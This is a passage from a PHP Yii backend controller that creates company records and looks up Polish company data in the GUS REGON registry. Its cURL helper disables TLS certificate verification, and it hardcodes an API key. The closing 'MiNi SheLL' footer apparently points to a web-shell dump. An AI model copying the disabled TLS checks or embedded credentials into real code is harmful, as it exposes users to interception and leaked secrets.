                        ];
                    }
                } else {
                    $assignedPortals = new \stdClass();
                }                
                
                $modelOperatorHasCompany = new \common\models\OperatorsHasCompanies(['scenario' => 'create']);
                $modelOperatorHasCompany->id_user = Yii::$app->user->id;
                $modelOperatorHasCompany->id_company = $modelCompany->id_company;
                $modelOperatorHasCompany->assigned_portals = $assignedPortals;
                if(!$modelOperatorHasCompany->save(false)) {
                    $flag = false;
                }
            }
            
            if ($flag) {
                $newImagePath = $modelCompany->saveLogoFile();
                if($newImagePath === false) {
                    $transaction->rollBack();
                    Yii::$app->session->addFlash('error', Yii::t('backend', 'Wystąpił błąd podczas zapisywania pliku na serwerze.'));
                    return $this->render('create_with_account', $outputParams);
                } 
                
                $transaction->commit();
                \common\models\Emails::refreshForUser($modelUser->id_user);
                \common\models\Emails::refreshForCompany($modelCompany->id_company);
                $this->createEntryForUserChange(UserChangeType::COMPANY_ADDED, $modelCompany->id_company, $modelCompany->id_company);
                Yii::$app->authManager->assign(Yii::$app->authManager->getRole($modelUser->profile), $modelUser->id_user);
                Yii::$app->session->addFlash('confirm', Yii::t('backend', 'Poprawnie zapisano dane.')); 
                return $this->redirect(['view', 'id' => $modelCompany->id_company]);
            } else {
                $transaction->rollBack();
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Błąd podczas zapisu.')); 
            }
        }
        
        return $this->render('create_with_account', $outputParams);
    }
    
    protected function makeCurl($field,$url,$session) 
    { 
        $curl = curl_init();
        curl_setopt($curl, CURLOPT_URL, $url);
        curl_setopt($curl, CURLOPT_POST, true);
        curl_setopt($curl, CURLOPT_POSTFIELDS, $field);
        curl_setopt($curl, CURLOPT_ENCODING, 'UTF-8');
        curl_setopt($curl, CURLOPT_HTTPHEADER, array('Content-Type: application/json','Content-Length: '.strlen($field), 'sid:'.$session));
        curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($curl, CURLOPT_TIMEOUT, 10);
        curl_setopt($curl, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.114 Safari/537.36');
        curl_setopt($curl, CURLOPT_HEADER, false);
        curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false);	
        $result = curl_exec($curl);
        curl_close($curl);
        return json_decode($result)->d; 
    }    
    
    public function actionBir()
    {
        Yii::$app->response->format = \yii\web\Response::FORMAT_JSON;
        $this->layout = false;
        
        $nip = Yii::$app->request->post('nip'); if(!$nip)$nip=Yii::$app->request->get('nip');
        $regon = Yii::$app->request->post('regon'); if(!$regon)$regon=Yii::$app->request->get('regon');
        $nazwa = Yii::$app->request->post('nazwa'); if(!$nazwa)$nazwa=Yii::$app->request->get('nazwa');
        
        /*Simple Object Access Protocol (SOAP)*/
        $session = null;
        /*Łukasz Vertica*/
        $klucz = 'e50b4eefefae429d8d62';
        $url_zaloguj = 'https://wyszukiwarkaregon.stat.gov.pl/wsBIR/UslugaBIRzewnPubl.svc/ajaxEndpoint/Zaloguj';
        $url_dane_szukaj = 'https://wyszukiwarkaregon.stat.gov.pl/wsBIR/UslugaBIRzewnPubl.svc/ajaxEndpoint/DaneSzukaj';
        $url_dane_pobierz_pelny_raport = 'https://wyszukiwarkaregon.stat.gov.pl/wsBIR/UslugaBIRzewnPubl.svc/ajaxEndpoint/DanePobierzPelnyRaport';
        $url_wyloguj = 'https://wyszukiwarkaregon.stat.gov.pl/wsBIR/UslugaBIRzewnPubl.svc/ajaxEndpoint/Wyloguj';
        $url_getvalue = 'https://wyszukiwarkaregon.stat.gov.pl/wsBIR/UslugaBIRzewnPubl.svc/ajaxEndpoint/GetValue';
        /*testowy* /
        $klucz = 'abcde12345abcde12345'; 
        $url_zaloguj = 'https://wyszukiwarkaregontest.stat.gov.pl/wsBIR/UslugaBIRzewnPubl.svc/ajaxEndpoint/Zaloguj';
        $url_dane_szukaj = 'https://wyszukiwarkaregontest.stat.gov.pl/wsBIR/UslugaBIRzewnPubl.svc/ajaxEndpoint/DaneSzukaj';
        $url_dane_pobierz_pelny_raport = 'https://wyszukiwarkaregontest.stat.gov.pl/wsBIR/UslugaBIRzewnPubl.svc/ajaxEndpoint/DanePobierzPelnyRaport';
        $url_wyloguj = 'https://wyszukiwarkaregontest.stat.gov.pl/wsBIR/UslugaBIRzewnPubl.svc/ajaxEndpoint/Wyloguj';
        $url_getvalue = 'https://wyszukiwarkaregontest.stat.gov.pl/wsBIR/UslugaBIRzewnPubl.svc/ajaxEndpoint/GetValue';
        /**/
     
        /*logowanie aby pobrać sesję*/
        $login = json_encode(array("pKluczUzytkownika" => $klucz));
        $result = $this->makeCurl($login,$url_zaloguj,$session);
        $session = $result;
        /*szukanie typu i regonu*/
        $search = json_encode(array(
            'jestWojPowGmnMiej' => true,
            'pParametryWyszukiwania' => array(
                    'AdsSymbolGminy' => null,
                    'AdsSymbolMiejscowosci' => null,
                    'AdsSymbolPowiatu' => null,
                    'AdsSymbolUlicy' => null,
                    'AdsSymbolWojewodztwa' => null,
                    'Dzialalnosci' => null,
                    'FormaPrawna' => null,
                    'Krs' => null,
                    'Krsy' => null,
                    'NazwaPodmiotu' => $nazwa,
                    'Nip' => $nip,
                    'Nipy' => null,
                    'NumerwRejestrzeLubEwidencji' => null,
                    'OrganRejestrowy' => null,
                    'PrzewazajacePKD' => false,
                    'Regon' => $regon,
                    'Regony14zn' => null,
                    'Regony9zn' => null,
                    'RodzajRejestru' => null,
            )
        ));
        $result = $this->makeCurl($search,$url_dane_szukaj,$session);
        $wynik = json_decode(json_encode(simplexml_load_string($result)), true);
        
        if(!empty($wynik)){
            
            if(!empty($wynik["dane"][0])){ /*wiele wyników*/
                
                foreach($wynik["dane"] as $id=>$dane) {
                    $return[]=array("regon"=>$dane['Regon'],"nazwa"=>str_replace('"',"'",$dane["Nazwa"]));
                }
                return ["multi" =>  $return];
                
            } else { /*jeden wynik*/
            
                switch ($wynik['dane']['Typ']) {
                    
                    case "P": /*forma prawna*/

                        $raport_typ="PublDaneRaportPrawna";
                        $search = json_encode(array("pRegon" => $wynik['dane']['Regon'], "pNazwaRaportu" => $raport_typ));
                        $result = $this->makeCurl($search,$url_dane_pobierz_pelny_raport,$session);
                        $wynik_pelny = json_decode(json_encode(simplexml_load_string($result)), true);                        
                        return ["companies-name" => str_replace('"',"'",$wynik_pelny['dane']['praw_nazwa']),
                                "companies-short_name" => str_replace('"',"'",$wynik_pelny['dane']['praw_nazwaSkrocona']),
                                "companies-street" => str_replace('ul. ','',$wynik_pelny['dane']['praw_adSiedzUlica_Nazwa']),
                                "companies-building_number" => $wynik_pelny['dane']['praw_adSiedzNumerNieruchomosci'],
                                "companies-apartment_number" => $wynik_pelny['dane']['praw_adSiedzNumerLokalu'],
                                "companies-postcode" => $wynik_pelny['dane']['praw_adSiedzKodPocztowy'],
                                "companies-locality" => $wynik_pelny['dane']['praw_adSiedzMiejscowosc_Nazwa'],
                                "companies-region" => $wynik_pelny['dane']['praw_adSiedzWojewodztwo_Nazwa'],
                                "companies-business_registration_number" => $wynik['dane']['Regon'],
                                ];   

                    break;
                    default: /*zwykła firma z ceidg*/

                        $raport_typ="PublDaneRaportDzialalnoscFizycznejCeidg";
                        $search = json_encode(array("pRegon" => $wynik['dane']['Regon'], "pNazwaRaportu" => $raport_typ));
                        $result = $this->makeCurl($search,$url_dane_pobierz_pelny_raport,$session);
                        $wynik_pelny = json_decode(json_encode(simplexml_load_string($result)), true);
                        return ["companies-name" => $wynik_pelny['dane']['fiz_nazwa'],
                                "companies-short_name" => $wynik_pelny['dane']['fiz_nazwaSkrocona'],
                                "companies-street" => str_replace('ul. ','',$wynik_pelny['dane']['fiz_adSiedzUlica_Nazwa']),
                                "companies-building_number" => $wynik_pelny['dane']['fiz_adSiedzNumerNieruchomosci'],
                                "companies-apartment_number" => $wynik_pelny['dane']['fiz_adSiedzNumerLokalu'],
                                "companies-postcode" => $wynik_pelny['dane']['fiz_adSiedzKodPocztowy'],
                                "companies-locality" => $wynik_pelny['dane']['fiz_adSiedzMiejscowosc_Nazwa'],
                                "companies-region" => strtolower($wynik_pelny['dane']['fiz_adSiedzWojewodztwo_Nazwa']),
                                "companies-business_registration_number" => $wynik_pelny['dane']['fiz_regon9'],
                                ];   

                }

            }
            
        }else{
            return ["error" =>  Yii::t('backend', 'Brak danych!')];
        }
        
    }  
    
    public function actionBirinvoicing()
    {
        Yii::$app->response->format = \yii\web\Response::FORMAT_JSON;
        $this->layout = false;
        
        $nip = Yii::$app->request->post('nip'); if(!$nip)$nip=Yii::$app->request->get('nip');
        $regon = Yii::$app->request->post('regon'); if(!$regon)$regon=Yii::$app->request->get('regon');
        $nazwa = Yii::$app->request->post('nazwa'); if(!$nazwa)$nazwa=Yii::$app->request->get('nazwa');
        
        /*Simple Object Access Protocol (SOAP)*/
        $session = null;
        /*Łukasz Vertica*/
        $klucz = 'e50b4eefefae429d8d62';
        $url_zaloguj = 'https://wyszukiwarkaregon.stat.gov.pl/wsBIR/UslugaBIRzewnPubl.svc/ajaxEndpoint/Zaloguj';
        $url_dane_szukaj = 'https://wyszukiwarkaregon.stat.gov.pl/wsBIR/UslugaBIRzewnPubl.svc/ajaxEndpoint/DaneSzukaj';
        $url_dane_pobierz_pelny_raport = 'https://wyszukiwarkaregon.stat.gov.pl/wsBIR/UslugaBIRzewnPubl.svc/ajaxEndpoint/DanePobierzPelnyRaport';
        $url_wyloguj = 'https://wyszukiwarkaregon.stat.gov.pl/wsBIR/UslugaBIRzewnPubl.svc/ajaxEndpoint/Wyloguj';
        $url_getvalue = 'https://wyszukiwarkaregon.stat.gov.pl/wsBIR/UslugaBIRzewnPubl.svc/ajaxEndpoint/GetValue';
        /*testowy* /
        $klucz = 'abcde12345abcde12345'; 
        $url_zaloguj = 'https://wyszukiwarkaregontest.stat.gov.pl/wsBIR/UslugaBIRzewnPubl.svc/ajaxEndpoint/Zaloguj';
        $url_dane_szukaj = 'https://wyszukiwarkaregontest.stat.gov.pl/wsBIR/UslugaBIRzewnPubl.svc/ajaxEndpoint/DaneSzukaj';
        $url_dane_pobierz_pelny_raport = 'https://wyszukiwarkaregontest.stat.gov.pl/wsBIR/UslugaBIRzewnPubl.svc/ajaxEndpoint/DanePobierzPelnyRaport';
        $url_wyloguj = 'https://wyszukiwarkaregontest.stat.gov.pl/wsBIR/UslugaBIRzewnPubl.svc/ajaxEndpoint/Wyloguj';
        $url_getvalue = 'https://wyszukiwarkaregontest.stat.gov.pl/wsBIR/UslugaBIRzewnPubl.svc/ajaxEndpoint/GetValue';
        /**/
     
        /*logowanie aby pobrać sesję*/
        $login = json_encode(array("pKluczUzytkownika" => $klucz));
        $result = $this->makeCurl($login,$url_zaloguj,$session);
        $session = $result;
        /*szukanie typu i regonu*/
        $search = json_encode(array(
            'jestWojPowGmnMiej' => true,
            'pParametryWyszukiwania' => array(
                    'AdsSymbolGminy' => null,
                    'AdsSymbolMiejscowosci' => null,
                    'AdsSymbolPowiatu' => null,
                    'AdsSymbolUlicy' => null,
                    'AdsSymbolWojewodztwa' => null,
                    'Dzialalnosci' => null,
                    'FormaPrawna' => null,
                    'Krs' => null,
                    'Krsy' => null,
                    'NazwaPodmiotu' => $nazwa,
                    'Nip' => $nip,
                    'Nipy' => null,
                    'NumerwRejestrzeLubEwidencji' => null,
                    'OrganRejestrowy' => null,
                    'PrzewazajacePKD' => false,
                    'Regon' => $regon,
                    'Regony14zn' => null,
                    'Regony9zn' => null,
                    'RodzajRejestru' => null,
            )
        ));
        $result = $this->makeCurl($search,$url_dane_szukaj,$session);
        $wynik = json_decode(json_encode(simplexml_load_string($result)), true);
        
        if(!empty($wynik)){
            
            if(!empty($wynik["dane"][0])){ /*wiele wyników*/
                
                foreach($wynik["dane"] as $id=>$dane) {
                    $return[]=array("regon"=>$dane['Regon'],"nazwa"=>str_replace('"',"'",$dane["Nazwa"]));
                }
                return ["multi" =>  $return];
                
            } else { /*jeden wynik*/
            
                switch ($wynik['dane']['Typ']) {
                    
                    case "P": /*forma prawna*/

                        $raport_typ="PublDaneRaportPrawna";
                        $search = json_encode(array("pRegon" => $wynik['dane']['Regon'], "pNazwaRaportu" => $raport_typ));
                        $result = $this->makeCurl($search,$url_dane_pobierz_pelny_raport,$session);
                        $wynik_pelny = json_decode(json_encode(simplexml_load_string($result)), true);                        
                        return ["companiesinvoicingdata-name" => str_replace('"',"'",$wynik_pelny['dane']['praw_nazwa']),
                                //"companies-short_name" => str_replace('"',"'",$wynik_pelny['dane']['praw_nazwaSkrocona']),
                                //"companiesinvoicingdata-tax_id" => $nip,
                                "companiesinvoicingdata-street" => str_replace('ul. ','',$wynik_pelny['dane']['praw_adSiedzUlica_Nazwa']),
                                "companiesinvoicingdata-building_number" => $wynik_pelny['dane']['praw_adSiedzNumerNieruchomosci'],
                                "companiesinvoicingdata-apartment_number" => $wynik_pelny['dane']['praw_adSiedzNumerLokalu'],
                                "companiesinvoicingdata-postcode" => $wynik_pelny['dane']['praw_adSiedzKodPocztowy'],
                                "companiesinvoicingdata-locality" => $wynik_pelny['dane']['praw_adSiedzMiejscowosc_Nazwa'],
                                //"companies-region" => $wynik_pelny['dane']['praw_adSiedzWojewodztwo_Nazwa'],
                                //"companies-business_registration_number" => $wynik['dane']['Regon'],
                                ];   

                    break;
                    default: /*zwykła firma z ceidg*/

                        $raport_typ="PublDaneRaportDzialalnoscFizycznejCeidg";
                        $search = json_encode(array("pRegon" => $wynik['dane']['Regon'], "pNazwaRaportu" => $raport_typ));
                        $result = $this->makeCurl($search,$url_dane_pobierz_pelny_raport,$session);
                        $wynik_pelny = json_decode(json_encode(simplexml_load_string($result)), true);
                        return ["companiesinvoicingdata-name" => $wynik_pelny['dane']['fiz_nazwa'],
                                //"companies-short_name" => $wynik_pelny['dane']['fiz_nazwaSkrocona'],
                                //"companiesinvoicingdata-tax_id" => $nip,
                                "companiesinvoicingdata-street" => str_replace('ul. ','',$wynik_pelny['dane']['fiz_adSiedzUlica_Nazwa']),
                                "companiesinvoicingdata-building_number" => $wynik_pelny['dane']['fiz_adSiedzNumerNieruchomosci'],
                                "companiesinvoicingdata-apartment_number" => $wynik_pelny['dane']['fiz_adSiedzNumerLokalu'],
                                "companiesinvoicingdata-postcode" => $wynik_pelny['dane']['fiz_adSiedzKodPocztowy'],
                                "companiesinvoicingdata-locality" => $wynik_pelny['dane']['fiz_adSiedzMiejscowosc_Nazwa'],
                                //"companies-region" => strtolower($wynik_pelny['dane']['fiz_adSiedzWojewodztwo_Nazwa']),
                                //"companies-business_registration_number" => $wynik_pelny['dane']['fiz_regon9'],
                                ];   

                }

            }
            
        }else{
            return ["error" =>  Yii::t('backend', 'Brak danych!')];
        }
        
    }  
    
}

Creat By MiNi SheLL
Email: jattceo@gmail.com